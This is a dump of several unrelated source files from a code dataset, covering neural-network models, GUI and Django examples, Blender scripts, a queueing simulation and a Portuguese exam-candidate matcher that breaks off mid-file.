conv = conv_block(conv, output_channels, kernel_size=1, strides=1,\r\n training=training, name='conv3', layer=conv_down)\r\n conv = tf.layers.dropout(conv, dropout_prob, training=training)\r\n\r\n # main path\r\n main = inputs\r\n if downsample:\r\n main = pool_layer(\r\n inputs, pool_size=2, strides=2,\r\n padding='same', data_format='channels_first')\r\n if output_channels != input_channels:\r\n main = conv_block(main, output_channels, kernel_size=1, strides=1,\r\n activation=tf.identity, training=training,\r\n name='justify', layer=conv_down)\r\n if upsample:\r\n main = conv_up(\r\n main, output_channels, kernel_size, strides=2, padding='same',\r\n use_bias=False, data_format='channels_first',\r\n name='justify_upsample')\r\n return tf.nn.relu(conv + main)\r\n\r\n\r\ndef stage(inputs, output_channels, num_blocks, name, training,\r\n downsample=False, upsample=False, conv_down=tf.layers.conv2d,\r\n conv_up=tf.layers.conv2d_transpose,\r\n pool_layer=tf.layers.max_pooling2d):\r\n layers = dict(conv_down=conv_down, conv_up=conv_up, pool_layer=pool_layer)\r\n with tf.variable_scope(name):\r\n inputs = res_block(inputs, 'res0', output_channels, training=training,\r\n downsample=downsample, upsample=upsample, **layers)\r\n for i in range(num_blocks - 1):\r\n inputs = res_block(inputs, f'res%d' % (i + 1), output_channels,\r\n training=training, **layers)\r\n return inputs\r\n\r\n\r\ndef build_model(inputs, classes, name, training, init_channels,\r\n conv_down=tf.layers.conv2d, conv_up=tf.layers.conv2d_transpose,\r\n pool_layer=tf.layers.max_pooling2d):\r\n layers = dict(conv_down=conv_down, conv_up=conv_up, pool_layer=pool_layer)\r\n with tf.variable_scope(name):\r\n input_shape = tf.shape(inputs)[2:]\r\n\r\n inputs = init_block(inputs, 'init', training, init_channels,\r\n conv_layer=conv_down, pool_layer=pool_layer)\r\n inputs = stage(inputs, 64, 5, 'stage1', training, downsample=True,\r\n **layers)\r\n inputs = stage(inputs, 128, 9, 'stage2', training, downsample=True,\r\n **layers)\r\n inputs = stage(inputs, 128, 8, 'stage3', training,\r\n **layers)\r\n inputs = stage(inputs, 64, 3, 'stage4', training, upsample=True,\r\n **layers)\r\n inputs = stage(inputs, 16, 2, 'stage5', training, upsample=True,\r\n **layers)\r\n inputs = conv_up(\r\n inputs, classes, kernel_size=2, strides=2, use_bias=True,\r\n data_format='channels_first')\r\n\r\n # crop\r\n output_shape = tf.shape(inputs)[2:]\r\n begin = (output_shape - input_shape) // 2\r\n end = begin + input_shape\r\n idx = [Ellipsis]\r\n for i in range(begin.shape[0]):\r\n idx.append(slice(begin[i], end[i]))\r\n inputs = inputs[idx]\r\n return inputs\r\n\r\n\r\nclass ENet2D(ModelCore):\r\n def __init__(self, n_chans_in, n_chans_out, multiplier=1, init_channels=16):\r\n super().__init__(n_chans_in * multiplier, n_chans_out)\r\n self.init_channels = init_channels\r\n self.multiplier = multiplier\r\n\r\n def build(self, training_ph):\r\n x_ph = tf.placeholder(\r\n tf.float32, (None, self.n_chans_in, None, None), name='input'\r\n )\r\n\r\n logits = build_model(x_ph, self.n_chans_out, 'enet_2d',\r\n training_ph, self.init_channels)\r\n return [x_ph], logits\r\n","sub_path":"dpipe/model_core/enet.py","file_name":"enet.py","file_ext":"py","file_size_in_byte":6548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"48073859","text":"# -*- coding: euc-kr -*-\n\nimport wx\n# wxPython Classic에서는 아래 줄이 필요 없음\n\nclass Example(wx.Frame):\n def __init__(self, *args, **kwargs):\n super(Example, self).__init__(*args, **kwargs)\n\n self.initui()\n\n def initui(self):\n menubar = wx.MenuBar()\n menu_help = wx.Menu()\n menu_help.Append(100, '&About')\n self.Bind(wx.EVT_MENU, self.onaboutbox, id=100)\n menubar.Append(menu_help, '&Help')\n self.SetMenuBar(menubar)\n\n self.SetSize((300, 200))\n self.SetTitle('About dialog box')\n self.Center()\n self.Show(True)\n\n def onaboutbox(self, e):\n description = \"\"\"File Hunter is an advanced file manager for\nthe Unix operating system. Features include powerful built-in editor,\nadvanced search capabilities, powerful batch renaming, file comparison,\nextensive archive handling and more.\n\"\"\"\n license = \"\"\"File Hunter is free software; you can redistribute\nit and/or modify it under the terms of the GNU General Public License as\npublished by the Free Software Foundation; either version 2 of the License,\nor (at your option) any later version.\n\nFile Hunter is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\nSee the GNU General Public License for more details. You should have\nreceived a copy of the GNU General Public License along with File Hunter;\nif not, write to the Free Software Foundation, Inc., 59 Temple Place,\nSuite 330, Boston, MA 02111-1307 USA\"\"\"\n\n # wxPython Classic에서는 wx.AboutDialogInfo() 사용\n # info = wx.adv.AboutDialogInfo()\n info = wx.AboutDialogInfo()\n\n info.SetIcon(wx.Icon('exit.png', wx.BITMAP_TYPE_PNG))\n info.SetName('File Hunter')\n info.SetVersion('1.0')\n info.SetDescription(description)\n info.SetCopyright('(C) 2007-2011 Jan Bodnar')\n info.SetWebSite('http://www.zetcode.com')\n info.SetLicense(license)\n info.AddDeveloper('alpa44')\n info.AddDocWriter('alpa44')\n info.AddArtist('The Tango Crew')\n info.AddTranslator('Jan Bodnar')\n\n # wxPython Classic에서는 wx.AboutBox() 사용\n # wx.adv.AboutBox(info)\n wx.AboutBox(info)\n\n\nif __name__ == '__main__':\n app = wx.App()\n Example(None)\n app.MainLoop()","sub_path":"src/main/python/wxpython/DialogAboutDialog.py","file_name":"DialogAboutDialog.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"54349544","text":"from tqdm import tqdm\r\nimport jieba\r\n\r\njieba.load_userdict('military_words.txt')\r\n\r\n# # 建立中文的停用词表\r\n# def stopwordslist(filepath):\r\n# stopwords = [line.strip() for line in open(filepath, 'r', encoding='GBK').readlines()]\r\n# return stopwords\r\n\r\nfile_1 = 'D:\\文件夹汇总\\项目\\军事知识图谱\\爬虫\\环球军事网\\huanqiu_1\\\\news.txt'\r\nfile_2 = 'D:\\文件夹汇总\\项目\\军事知识图谱\\爬虫\\环球军事网\\huanqiu_1\\\\news_seg.txt'\r\n\r\nfh_1 = open(file_1,'r',encoding='UTF-8')\r\nfh_2 = open(file_2,'w',encoding='UTF-8')\r\n\r\nlines = fh_1.readlines()\r\npoint = []\r\nfor line in tqdm(lines):\r\n if 'http' in line:\r\n k = lines.index(line)\r\n point.append(k)\r\n\r\n\r\nn = len(point)\r\nfor i in tqdm(range(n-1)):\r\n news = ''\r\n # fh_2.write(lines[point[i]-1])\r\n result_1 = jieba.cut(lines[point[i]-1].strip(),HMM=True)\r\n fh_2.write(\"/\".join(result_1))\r\n fh_2.write('\\n')\r\n fh_2.write(lines[point[i]])\r\n #fh_2.write('\\n')\r\n for k in range(point[i] + 1,point[i+1] - 1):\r\n news = news + lines[k].strip()\r\n result_2 = jieba.cut(news,HMM=True)\r\n fh_2.write(\"/\".join(result_2))\r\n fh_2.write('\\n')\r\n fh_2.write('\\n')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Military_KG/Segmentation.py","file_name":"Segmentation.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"177096099","text":"#---------------------------------------------------------------------------------------------------\n#https://www.reddit.com/r/dailyprogrammer/comments/5st2so/20170208_challenge_302_intermediate_ascii/\n#---------------------------------------------------------------------------------------------------\nimport os\n\nx1 = int(input(\"x1 = \"))\nx2 = int(input(\"x2 = \"))\ny1 = int(input(\"y1 = \"))\ny2 = int(input(\"y2 = \"))\nnumin = int(input(\"data set num = \"))\ndatasets = []\n\nfor i in range(numin):\n datasets.append([int(input(\"x1 = \")), int(input(\"x2 = \")), int(input(\"freq = \"))])\n\nxaxis = []\nyaxis = []\n\nfor i in range(x2 - x1+1):\n xaxis.append(x1 + i)\n\nfor i in range(y2 - y1+1):\n yaxis.append(y1 + i)\n\nfor y in yaxis:\n print(yaxis[y2 - y], end=\" \")\n for x in xaxis:\n for data in datasets:\n if x == data[0]:\n if data[2] <= y-2:\n print(\"x\", end=\" \")\n print('\\n')\n\nprint(\" \", end=\" \")\n\nfor x in xaxis:\n print(x, end=\" \")\n\nprint('\\n')\nprint(datasets)\n\n\nos.system(\"pause\")","sub_path":"170301/170301Histogram.py","file_name":"170301Histogram.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"370947081","text":"\"\"\"legal_internships URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\n\nfrom internships.views import FirmsView, CommentsView, FirmView, CommentView, MainView, SingleFirmView\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^firms/order/((?P[\\-\\w]+)/)$', FirmsView.as_view(), name='order_firms'),\n url(r'^firms/$', FirmsView.as_view(), name='all_firms'),\n url(r'^firms/(?P(\\d)+)/$', FirmView.as_view(), name='firm_details'),\n url(r'^comments/get/((?P(\\d)+)/)$', CommentsView.as_view(), name='all_comments'),\n url(r'^comments/$', CommentsView.as_view(), name='post_comment'),\n url(r'^comments/(?P(\\d)+)/$', CommentView.as_view(), name='comment_details'),\n url(r'^$', MainView.as_view(), name='home'),\n url(r'^show_firm/(?P\\d+)/$', SingleFirmView.as_view(), name='firm'),\n]\n","sub_path":"legal_internships/legal_internships/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"424596366","text":"import bpy\nimport os\nimport sys\nimport mathutils\nimport numpy as np\nimport bpy\n\n\ndef render(filename, output_dir, res_x, res_y):\n bpy.context.scene.view_layers[0].cycles.use_denoising = True\n bpy.context.scene.render.image_settings.file_format='PNG'\n bpy.context.scene.render.filepath = os.path.join(output_dir, filename + \".png\")\n bpy.context.scene.render.resolution_x = res_x\n bpy.context.scene.render.resolution_y = res_y\n bpy.ops.render.render(write_still=True)\n\ndef zero_reflection():\n bpy.context.scene.cycles.max_bounces = 0\n \ndef normal_reflection():\n bpy.context.scene.cycles.max_bounces = 12\n\ndef set_active_camera(camera_obj_name):\n bpy.data.scenes[\"Scene\"].camera = bpy.data.objects[camera_obj_name]\n\ndef change_pattern_projector(projector_light_name, proj_obj, img):\n img_text_node = None\n for node in bpy.data.lights[projector_light_name].node_tree.nodes:\n if node.name == \"Image Texture\":\n img_text_node = node\n proj_obj.proj_settings.use_custom_texture_res = True\n proj_obj.proj_settings.use_custom_texture_res = False\n \n if img_text_node == None:\n print(\"ERROR: light has no image texture node\")\n else:\n img_text_node.image = img\n print(\"Succesfully changed pattern on projector\")\n\ndef turn_off_projector(proj_spot_name):\n spot = bpy.data.lights[proj_spot_name]\n spot.energy = 0\n\ndef turn_on_projector(proj_spot_name, power):\n spot = bpy.data.lights[proj_spot_name]\n spot.energy = power\n\ndef get_projector_spot_names():\n spot_name_list = []\n for i in range(1,6):\n spot_name_list.append(\"Spot\"+str(i))\n return spot_name_list\n\ndef get_projector_names():\n proj_name_list = []\n for i in range(1,6):\n proj_name_list.append(\"Projector\"+str(i))\n return proj_name_list\n\ndef get_camera_names():\n camera_name_list = []\n for i in range(1,6):\n camera_name_list.append(\"Camera\"+str(i))\n return camera_name_list\n\ndef set_default_camera_active():\n set_active_camera(\"Camera\")\n\ndef turn_off_projectors(proj_spot_names):\n for proj_spot_name in proj_spot_names:\n turn_off_projector(proj_spot_name)\n\ndef get_no_refl_view_from_projs():\n proj_spot_names = get_projector_spot_names()\n turn_off_projectors(proj_spot_names)\n turn_on_projector(\"Spot0\", 10000)\n zero_reflection() \n \n camera_names = get_camera_names()\n \n \n for camera_name in camera_names:\n set_active_camera(camera_name)\n render(camera_name, \"scans-no-refl\", 1920, 1080)\n \n\n\n\ndef main():\n set_active_camera(\"Camera\")\n \n #turn off projectors\n \n #get_no_refl_view_from_projs()\n\n\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/testing/initial-poc/light-sim/ls-blender-poc-anisotropic/blender-script.py","file_name":"blender-script.py","file_ext":"py","file_size_in_byte":2717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"564192747","text":"import warnings\n\nimport h5py\nimport numpy as np\nimport pytorch_lightning as pl\nimport torch\nfrom matplotlib import pyplot as plt\nfrom pytorch_lightning import Trainer\nfrom torch.nn import functional as F\nfrom torch.utils.data import DataLoader, TensorDataset, Subset\n\nfrom models.lightning_common import common_test\nfrom models.utils import metrics as u_metrics, plot as u_plot\n\nwarnings.filterwarnings('ignore', 'The dataloader,')\ntorch.manual_seed(1337)\nBATCH_SIZE = 128\n\nds_name = 'opportunity'\n\n\nclass LSTMSAModule(pl.LightningModule):\n def __init__(self, hparams):\n super().__init__()\n self.hparams = hparams\n\n self.lstm = torch.nn.LSTM(hparams['in_channels'], hparams['hidden'], hparams['lstm_layers'], batch_first=True,\n dropout=hparams['dropout'])\n self.lin = torch.nn.Linear(hparams['hidden'], hparams['class_count'])\n\n self.tds = None\n self.vds = None\n\n def configure_optimizers(self):\n return torch.optim.Adam(self.parameters(), lr=self.hparams['lr'])\n\n def prepare_data(self):\n with h5py.File(f'/ext/zajo/data/{ds_name}.h5', 'r') as h5f:\n xs = torch.tensor(h5f['x'], dtype=torch.float32)\n xs[torch.isnan(xs)] = 0\n sensor_means = xs.reshape(-1, xs.shape[2]).mean(axis=0)\n sensor_stds = xs.reshape(-1, xs.shape[2]).std(axis=0)\n xs = (xs - sensor_means) / sensor_stds\n # xs = ((xs - xs.mean(axis=2).unsqueeze(2)) / xs.std(axis=2).unsqueeze(2))\n\n ys = torch.tensor(h5f['y']['class'], dtype=torch.long)\n\n idxs = torch.randperm(xs.shape[0])\n ds = TensorDataset(xs, ys)\n self.tds = Subset(ds, idxs[:100])\n self.vds = Subset(ds, idxs[:100])\n print(f'Total histogram: {np.histogram(ds[:][1].cpu().numpy(), self.hparams[\"class_count\"])[0]}')\n print(f'Train histogram: {np.histogram(self.tds[:][1].cpu().numpy(), self.hparams[\"class_count\"])[0]}')\n print(f'Val histogram: {np.histogram(self.vds[:][1].cpu().numpy(), self.hparams[\"class_count\"])[0]}')\n\n def train_dataloader(self):\n return DataLoader(self.tds, batch_size=BATCH_SIZE)\n\n def val_dataloader(self):\n return DataLoader(self.vds, batch_size=BATCH_SIZE, )\n\n def training_step(self, batch, batch_idx):\n x, y = batch\n y_hat = self(x)\n loss = F.cross_entropy(y_hat, y)\n return {'loss': loss, 'log': {'train_loss': loss}}\n\n def training_epoch_end(self, outputs):\n avg_loss = torch.stack([x['loss'] for x in outputs]).mean()\n print(' -- train loss:', float(avg_loss), end='')\n return {}\n\n def validation_step(self, batch, batch_idx):\n x, y = batch\n y_hat = self(x)\n return {'val_loss': F.cross_entropy(y_hat, y)}\n\n def validation_epoch_end(self, outputs):\n avg_loss = torch.stack([x['val_loss'] for x in outputs]).mean()\n print(' -- val_loss:', float(avg_loss))\n return {'val_loss': avg_loss, 'log': {'val_loss': avg_loss}}\n\n def forward(self, x):\n x, _ = self.lstm(x)\n x = x[:, -1, :]\n x = self.lin(x)\n return x\n\n\ndef init_weights(m):\n if type(m) == torch.nn.LSTM:\n for name, param in m.named_parameters():\n if 'weight_ih' in name:\n torch.nn.init.xavier_uniform_(param.data)\n elif 'weight_hh' in name:\n torch.nn.init.xavier_uniform_(param.data)\n elif 'bias' in name:\n # torch.nn.init.xavier_uniform_(param.data)\n # param.data.fill_(0)\n pass\n elif type(m) == torch.nn.Linear:\n torch.nn.init.xavier_uniform_(m.weight)\n # torch.nn.init.xavier_uniform_(m.bias)\n # m.bias.data.fill_(0)\n # self.bias.data.uniform_(-stdv, stdv)\n\n\n\nif __name__ == '__main__':\n with h5py.File(f'/ext/zajo/data/{ds_name}.h5', 'r') as h5f:\n xs = h5f['x']\n length = xs.shape[1]\n channels = xs.shape[2]\n classes = h5f['y'].attrs['classes'].shape[0]\n\n for lstm_layers in [1]:\n for dropout in [0]:\n for hidden in [512]:\n for lr in [0.001]:\n model = LSTMSAModule({\n 'in_length': length, 'in_channels': channels, 'class_count': classes, 'lr': lr,\n 'hidden': hidden,\n 'lstm_layers': lstm_layers,\n 'dropout': dropout,\n })\n model.apply(init_weights)\n trainer = Trainer(gpus=1,\n min_epochs=12,\n max_epochs=250,\n progress_bar_refresh_rate=0,\n )\n trainer.fit(model)\n\n xs = model.tds[:][0]\n ys = model.tds[:][1]\n y_hat = common_test(model, xs.cpu().numpy())\n\n fig, ax = plt.subplots(1, 1)\n cm_train = u_metrics.create_confusion_matrix(classes, y_hat, ys)\n u_plot.plot_confusion_matrix(cm_train, title=f'All', ax=ax)\n plt.show()\n print('Dist: ', np.histogram(ys.cpu().numpy(), bins=classes)[0])\n\n acc_train, recall_train, f1_train = u_metrics.get_metrics(y_hat, ys.cpu().numpy())\n print(\n f'layers: {lstm_layers:6} hidden: {hidden:6} dout: {dropout:6} LR: {lr:6} Acc: {acc_train:6.3f}, Rec: {recall_train:6.3f}, F1: {f1_train:6.3f}')\n","sub_path":"sanity/m5_lstm_works_on_opp.py","file_name":"m5_lstm_works_on_opp.py","file_ext":"py","file_size_in_byte":5590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"237367216","text":"import logging\n\nfrom source.Config.config import Config\n\n\nclass BadConfig(BaseException):\n\n def __init__(self, t1=None, t2=None):\n super.__init__(t1, t2)\n\n\nclass ParseConfig(object):\n\n @staticmethod\n def parse() -> Config:\n\n data = {}\n with open('/etc/httpd.conf') as file:\n for line in file:\n line = line.strip()\n if not line:\n continue\n pair = line.split()\n key: str = pair[0]\n value: str = pair[1]\n data.update({\n key: value\n })\n\n listen = 80 if data.get('listen') is None else int(data['listen'])\n cpu_limit = 1 if data.get('cpu_limit') is None else int(data['cpu_limit'])\n thread_limit = 8 if data.get('thread_limit') is None else int(data['thread_limit'])\n document_root = \"/var/www/html\" if data.get('document_root') is None else data['document_root']\n\n return Config(port=listen, cpu_count=cpu_limit, threads=thread_limit, root_dir=document_root)\n","sub_path":"source/Config/parse_config.py","file_name":"parse_config.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"552452456","text":"\n\nfrom xai.brain.wordbase.nouns._notary import _NOTARY\n\n#calss header\nclass _NOTARIES(_NOTARY, ):\n\tdef __init__(self,): \n\t\t_NOTARY.__init__(self)\n\t\tself.name = \"NOTARIES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"notary\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_notaries.py","file_name":"_notaries.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"344640286","text":"from flask import Flask, render_template, request\r\nfrom get_csv import get_candidates\r\n\r\nparty_list = ['new Zealand First Party', 'The Oppotunities Party', 'Climate First',\r\n 'National Party', 'Green Party', 'ACT New Zealand', 'Labour Party']\r\n\r\napp = Flask(__name__)\r\n\r\napp.debug = True\r\n\r\ncandidates_list = get_candidates.generate_candidates()\r\nprint(candidates_list)\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html', candidates_list = candidates_list, party_list = party_list)\r\n\r\nif __name__ == '__main__':\r\n app.run()\r\n","sub_path":"Iteration 2 - Rohan Kinraid/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"436459468","text":"from numpy import random as rnd\nimport json\n\n\nstate_free = 0\nstate_busy = 1\nstate_locked = 2\n\nout_requests = list()\naverage_time_in_system = [0.0, 0]\naverage_interval = [0.0, 0]\n\n\nclass Request(object):\n def __init__(self, in_time):\n self.in_time = in_time\n self.out_time = -1.0\n\n\nclass Channel(object):\n def __init__(self, gen):\n self.gen = gen\n\n self.state = state_free\n self.request = None\n self.end_time = 0.0\n\n self.statistic = [0, 0, 0]\n\n def process_request(self, request, in_time):\n self.request = request\n self.state = state_busy\n self.end_time = in_time + next(self.gen)\n\n def release_request(self):\n self.request.out_time = self.end_time\n self.state = state_free\n\n def lock(self):\n self.state = state_locked\n\n def count_statistic(self):\n self.statistic[self.state] += 1\n\n\nclass Store(object):\n def __init__(self, max_size):\n self.max_size = max_size\n self.requests = list()\n self.statistic = [0, 0]\n self.last_used = 0.0\n\n def count_statistic(self):\n self.statistic = [self.statistic[0] + len(self.requests), self.statistic[1] + 1]\n\n\nclass Phase(object):\n def __init__(self, channels, store):\n self.channels = channels\n self.store = store\n\n\ndef normal_d(mu, sigma):\n while True:\n yield rnd.normal(mu, sigma)\n\n\ndef uniform_d(low, high):\n while True:\n yield rnd.uniform(low, high)\n\n\ndef exponential_d(lmbda):\n while True:\n yield rnd.exponential(lmbda)\n\n\nif __name__ == '__main__':\n with open('input.json') as f_r:\n initial_structure = json.load(f_r)\n channel_counts = initial_structure[0]\n store_sizes = initial_structure[1]\n channel_distributions = [exponential_d(2.5), uniform_d(3.0, 9.0), exponential_d(2.0)]\n \n channels = [[Channel(channel_distributions[i]) for j in range(channel_counts[i])] for i in range(len(channel_counts))]\n stores = [Store(store_sizes[i]) for i in range(len(channel_counts))]\n phases = [Phase(channels[i], stores[i]) for i in range(len(channel_counts))]\n\n requests_count = 1000\n current_count = 0\n rejected_requests, resolved_requests = list(), list()\n request_gen = exponential_d(1.0)\n system_time = 0.0\n\n request_interval = 0.0\n request_time = 0.0\n n = len(phases) - 1\n\n fp = open(\"stat_logger.txt\", \"w\", encoding=\"utf-8\")\n now_count = requests_count - current_count\n while current_count < requests_count:\n for channel in phases[n].channels:\n if channel.end_time <= system_time and channel.state == state_busy:\n channel.release_request()\n #заявка прошла\n out_requests.append(channel.request)\n average_time_in_system[0] += (channel.request.out_time - channel.request.in_time)\n average_time_in_system[1] += 1\n average_interval[0] += out_requests[len(out_requests) - 1].out_time\n if len(out_requests) > 1:\n average_interval[0] -= out_requests[len(out_requests) - 2].out_time\n\n average_interval[1] += 1\n\n while any(channel.state == state_free for channel in phases[n].channels):\n if len(phases[n].store.requests) > 0:\n request = phases[n].store.requests[0]\n phases[n].store.requests.pop(0)\n for channel in phases[n].channels:\n if channel.state == state_free:\n phases[n].store.last_used = max(phases[i].store.last_used, channel.end_time)\n channel.process_request(request, channel.end_time)\n break\n else:\n break\n\n for i in reversed(range(len(phases) - 1)):\n can_go_next = any(channel.state == state_free for channel in phases[i + 1].channels)\n can_go_next &= (i + 1 != n) and len(phases[i + 1].store.requests) < phases[i + 1].store.max_size\n\n for channel in phases[i].channels:\n if channel.state == state_free:\n continue\n\n if channel.state == state_busy and channel.end_time <= system_time:\n if can_go_next:\n request = channel.request\n was = False\n for next_channel in phases[i + 1].channels:\n if next_channel.state == state_free:\n channel.release_request()\n next_channel.process_request(request, channel.end_time)\n was = True\n break\n\n if not was:\n channel.release_request()\n phases[i + 1].store.requests.append(request)\n\n else:\n channel.lock()\n\n elif channel.state == state_locked and can_go_next:\n request = channel.request\n was = False\n for next_channel in phases[i + 1].channels:\n if next_channel.state == state_free:\n channel.end_time = next_channel.end_time\n channel.release_request()\n next_channel.process_request(request, next_channel.end_time)\n was = True\n break\n\n if not was:\n channel.end_time = phases[i + 1].store.last_used\n channel.release_request()\n phases[i + 1].store.requests.append(request)\n\n while any(channel.state == state_free for channel in phases[i].channels):\n if len(phases[i].store.requests) > 0:\n request = phases[i].store.requests[0]\n phases[i].store.requests.pop(0)\n for channel in phases[i].channels:\n if channel.state == state_free:\n phases[i].store.last_used = max(phases[i].store.last_used, channel.end_time)\n channel.process_request(request, channel.end_time)\n break\n else:\n break\n \n for chanel in phases[n - 1].channels:\n if chanel.state == state_locked and any(chanel.state == state_free for chanel in phases[n].channels):\n for last_phase_chanel in phases[n].channels:\n if last_phase_chanel.state == state_free:\n last_phase_chanel.process_request(chanel.request, chanel.end_time)\n chanel.release_request()\n\n if request_time <= system_time:\n request = Request(request_time)\n\n current_count += 1\n for phase in phases:\n phase.store.count_statistic()\n for channel in phase.channels:\n channel.count_statistic()\n if any(channel.state == state_free for channel in phases[0].channels):\n for channel in phases[0].channels:\n if channel.state == state_free:\n channel.process_request(request, channel.end_time)\n break\n\n elif len(phases[0].store.requests) < phases[0].store.max_size:\n phases[0].store.requests.append(request)\n\n #заявка отвергнута\n request_interval = next(request_gen)\n request_time += max(request_interval, 0.1)\n\n if system_time <= request_time:\n system_time += 0.01\n\n else:\n system_time += 0.01\n \n if now_count != requests_count - current_count:\n now_count = requests_count - current_count\n fp.writelines(\"Current request: \" + str(current_count))\n for i in range(len(phases)):\n fp.writelines(\"\\n\"+str(i+1)+\" Phase: \\n\")\n fp.writelines(\"\\tStorage: \" + str(len(phases[i].store.requests)) + \"\\n\")\n for j in range(len(phases[i].channels)):\n fp.writelines(\"\\tChannel \" + str(j+1) + \" state : \" + str(phases[i].channels[j].state) + \"\\n\")\n fp.writelines(\"====================================\\n\")\n \n fp.writelines('Rejection probability: ' + str(1 - len(out_requests) / requests_count) + \"\\n\")\n fp.writelines('Average interval between successive requests: ' + str(average_interval[0] / average_interval[1]) + \"\\n\")\n fp.writelines('Average time in system: ' + str(average_time_in_system[0] / average_time_in_system[1]) + \"\\n\")\n fp.writelines('Statistic for each phase\\n')\n for i in range(len(phases)):\n fp.writelines('\\t' + str(i + 1) + ' Phase statistic:\\n')\n fp.writelines('\\tAverage storage size: ' + str(phases[i].store.statistic[0] / phases[i].store.statistic[1]) + \"\\n\")\n for channel in phases[i].channels:\n free_prob = channel.statistic[0] / sum(channel.statistic)\n busy_prob = channel.statistic[1] / sum(channel.statistic)\n locked_prob = channel.statistic[2] / sum(channel.statistic)\n fp.writelines('\\t\\tFree channel (' + str(channel.statistic[0]) + '): ' + str(free_prob) + ' Busy channel (' + str(channel.statistic[1]) + '): ' + str(busy_prob) + ' Locked channel (' + str(channel.statistic[2]) + '): '+ str(locked_prob) + \"\\n\")\n fp.close()\n","sub_path":"fourthLab.py","file_name":"fourthLab.py","file_ext":"py","file_size_in_byte":9532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"654082273","text":"#!/usr/bin/python3\n#1 - lista_dados_por_cpf()\n#Listar os órgãos, códigos e editais dos concursos públicos que se\n#encaixam no perfil do candidato tamando como base o CPF do candidato\n\n#2 - lista_dados_por_codigo()\n#Listar o nome, data de nascimento e o CPF dos candidatos que se encaixam\n#no perfil do concurso tomando com base o Código do Concurso do concurso público\n\n\n#Linguagem últilizada: python3\n\n#importação módulos\nimport re, os\n\n#verifica se existe no mesmo diretório os arquivos de texto para a \n#referida pesquisa\nif 'concursos.txt' not in os.listdir('.'):\n\tinput('O arquivo concursos.txt não está no mesmo diretório')\n\texit(0)\nelif 'candidatos.txt' not in os.listdir('.'):\n\tinput('Arquivo de texto candidatos.txt não encontrado')\n\texit(0)\n\n#Função para listar órgão, códigos e editais\n#recebe um argumento (CPF - string) no seguinte formato: 123.456.789-00\ndef lista_dados_por_cpf():\n #variável para contagem\n count = 1\n #variável para receber o CPF passado pelo usuário\n cpf = input('Insira aqui um CPF no formato 123.456.789-00 para iniciar a busca: ')\n while len(cpf) < 14:\n print('Valor inserido inválido. Tente novamente')\n cpf = input('Insira aqui um CPF no formato 123.456.789-00 - ')\n\n #apenas abre o arquivo de texto e o coloca em uma lista \n with open('candidatos.txt') as cand:\n candidatos = cand.readlines()\n\n #apenas abre o arquivo de texto e o coloca em uma lista\n with open('concursos.txt') as conc:\n concursos = conc.readlines()\n\n #nesse seguimento de laço \"for\" é que consigo verificar\n #os concursos compátiveis com a profissão do candidato por CPF\n lista_concursos = []\n for can in candidatos:\n if cpf in can:\n prof = re.search('\\[.*', can).group().replace('[','').replace(']','')\n for con in concursos:\n if '[' in con:\n edital = re.search('../....', con).group()\n for profp in prof.split(','):\n if profp.startswith(' '):\n profp = profp.replace(' ','', 1)\n if profp in con and edital not in lista_concursos:\n lista_concursos.append(edital)\n print(count, '-', con.replace(re.search('\\[.*' ,con).group(), '').strip())\n count += 1\n if count > 1:\n print('Esses são os orgãos, códigos e editais compátiveis com o cpf',cpf,'\\n')\n else:\n print('Nada encontrado.\\n')\n\n\n\n\n#função para listar o nome, data de nascimento e o CPF dos candidatos que\n#se encaixam no perfil do concurso tomando com base o Código do Concurso do concurso público\ndef lista_dados_por_codigo():\n #variável para contar\n count = 1\n #variável onde guardará o codgio passado pelo usuário\n codigo = input('Insira um código para iniciar a pesquisa por código: ')\n if len(codigo) < 6:\n print('Valor inserido é inválido. Tente novamente')\n codigo = input('Insira um código para iniciar a pesquisa por codigo: ')\n\n #apenas abre o arquivo de texto e o coloca em uma lista \n with open('candidatos.txt') as cand:\n candidatos = cand.readlines()\n\n #apenas abre o arquivo de texto e o coloca em uma lista\n with open('concursos.txt') as conc:\n concursos = conc.readlines()\n\n lista_candidatos = []\n\n #seguimento de laço \"for\" para verificar\n #os 